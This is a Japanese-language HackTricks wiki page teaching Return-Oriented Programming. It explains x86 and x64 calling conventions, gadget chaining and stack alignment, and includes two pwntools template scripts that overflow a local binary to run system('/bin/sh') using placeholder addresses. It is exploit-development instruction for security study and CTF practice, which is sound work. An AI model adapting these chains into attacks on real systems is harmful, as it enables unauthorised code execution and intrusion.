.. | ||
ret2lib | ||
rop-syscall-execv | ||
srop-sigreturn-oriented-programming | ||
brop-blind-return-oriented-programming.md | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
{% hint style="success" %}
AWSハッキングの学習と練習:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングの学習と練習: HackTricks Training GCP Red Team Expert (GRTE)
HackTricksのサポート
- サブスクリプションプランをチェック!
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してハッキングテクニックを共有してください。
基本情報
**Return-Oriented Programming (ROP)**は、**No-Execute (NX)やData Execution Prevention (DEP)などのセキュリティ対策を回避するために使用される高度な攻撃技術です。シェルコードを注入して実行する代わりに、攻撃者はバイナリやロードされたライブラリに既に存在するコード片("ガジェット"**として知られる)を利用します。各ガジェットは通常、ret
命令で終わり、レジスタ間でデータを移動したり算術演算を行ったりするなどの小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護をバイパスできます。
ROPの動作
- 制御フローの乗っ取り: まず、攻撃者は通常、バッファオーバーフローを悪用してスタック上の保存された戻りアドレスを上書きすることで、プログラムの制御フローを乗っ取る必要があります。
- ガジェットの連鎖: 次に、攻撃者は必要なアクションを実行するために注意深くガジェットを選択して連鎖させます。これには、関数呼び出しの引数の設定、関数の呼び出し(例:
system("/bin/sh")
)、必要なクリーンアップや追加の操作の処理が含まれる可能性があります。 - ペイロードの実行: 脆弱な関数が返されると、正当な場所に戻る代わりに、ガジェットの連鎖を実行し始めます。
ツール
通常、ガジェットはROPgadget、ropper、または直接pwntools(ROP)を使用して見つけることができます。
x86のROPチェーンの例
x86(32ビット)呼び出し規約
- cdecl: 呼び出し元がスタックをクリーンアップします。関数引数はスタックに逆順でプッシュされます(右から左)。引数は右から左にスタックにプッシュされます。
- stdcall: cdeclに似ていますが、スタックのクリーンアップは呼び出し先が行います。
ガジェットの検索
まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定しましょう。興味を持つガジェットは次のとおりです:
pop eax; ret
: このガジェットはスタックのトップの値をEAX
レジスタにポップしてから返し、EAX
を制御できるようにします。pop ebx; ret
: 上記と同様ですが、EBX
レジスタ用であり、EBX
を制御できるようにします。mov [ebx], eax; ret
:EAX
の値をEBX
が指すメモリ位置に移動してから返します。これは通常、write-what-whereガジェットと呼ばれます。- さらに、
system()
関数のアドレスが利用可能です。
ROPチェーン
pwntoolsを使用して、ROPチェーンの実行のためにスタックを準備します。system('/bin/sh')
を実行することを目指し、チェーンが次のように始まることに注意してください:
- アラインメント目的の
ret
命令(オプション) system
関数のアドレス(ASLRが無効で既知のlibcを仮定、詳細はRet2libにあります)system()
からの戻りアドレスのプレースホルダ"/bin/sh"
文字列のアドレス(system関数のパラメータ)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
x64でのROPチェーンの例
x64(64ビット)呼び出し規約
- Unix系システムでは、最初の6つの整数またはポインタ引数はレジスタ
RDI
、RSI
、RDX
、RCX
、R8
、およびR9
に渡されます。追加の引数はスタックに渡されます。戻り値はRAX
に配置されます。 - Windows x64 呼び出し規約では、最初の4つの整数またはポインタ引数に
RCX
、RDX
、R8
、およびR9
が使用され、追加の引数はスタックに渡されます。戻り値はRAX
に配置されます。 - レジスタ: 64ビットレジスタには
RAX
、RBX
、RCX
、RDX
、RSI
、RDI
、RBP
、RSP
、およびR8
からR15
が含まれます。
ガジェットの検索
今回の目的では、RDI レジスタを設定し(system() に "/bin/sh" 文字列を引数として渡すため)、その後 system() 関数を呼び出すためのガジェットに焦点を当てます。以下のガジェットを特定したと仮定します:
- pop rdi; ret: スタックのトップの値を RDI にポップしてから戻ります。system() の引数を設定するために必要です。
- ret: 単純なリターンで、一部のシナリオでスタックの整列に役立ちます。
そして、system() 関数のアドレスを知っているとします。
ROPチェーン
以下は、x64 で system('/bin/sh') を実行するためのROPチェーンを設定して実行するための例です。
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
スタックアライメント
x86-64 ABI は、call命令が実行される際にスタックが16バイトに整列されることを保証します。LIBC は、パフォーマンスを最適化するために、この整列が必要な SSE命令(例: movaps)を使用します。スタックが適切に整列されていない場合(つまり RSP が16の倍数でない場合)、system のような関数の呼び出しは ROPチェーン で失敗します。これを修正するには、ROPチェーンで system を呼び出す前に retガジェット を追加するだけです。
x86 vs x64の主な違い
{% hint style="success" %} x64は最初の数値引数にレジスタを使用するため、単純な関数呼び出しにはx86よりも少ないガジェットが必要ですが、適切なガジェットを見つけてチェーンすることは、レジスタの数の増加とアドレス空間の拡大により、より複雑になる可能性があります。 x64 アーキテクチャの増加したレジスタ数と大きなアドレス空間は、特にReturn-Oriented Programming(ROP)の文脈でのエクスプロイト開発において、機会と課題の両方を提供します。 {% endhint %}
ARM64のROPチェーンの例
ARM64の基礎と呼び出し規約
この情報については、次のページをチェックしてください:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
ROPに対する保護
- ASLR & PIE: これらの保護は、実行ごとにガジェットのアドレスが変わるため、ROPの使用を困難にします。
- スタックキャナリー: BOFの場合、ROPチェーンを悪用するためには、ストアされたスタックキャナリーをバイパスして、リターンポインタを上書きする必要があります。
- ガジェットの不足: 十分なガジェットがない場合、ROPチェーンを生成することはできません。
ROPベースの技術
ROPは単なる任意のコードを実行するための技術であることに注意してください。ROPを基に、多くのRet2XXX技術が開発されました:
- Ret2lib: ROPを使用して、ロードされたライブラリから任意のパラメータ(通常は
system('/bin/sh')
のようなもの)を持つ任意の関数を呼び出します。
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: ROPを使用して、システムコール(例:
execve
)を呼び出す準備をし、任意のコマンドを実行します。
{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}
- EBP2Ret & EBP Chaining: 最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目のものはRet2libに似ていますが、この場合、フローは主にEBPアドレスで制御されます(ただし、EIPの制御も必要です)。
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
その他の例と参照
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64ビット、Pieおよびnx有効、キャナリなし、
vsyscall
アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることで、フラグを漏洩させる関数の一部を取得するための部分的な上書きを行います。 - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64、ASLRなし、スタックを実行可能にするROPガジェットとスタック内のシェルコードにジャンプします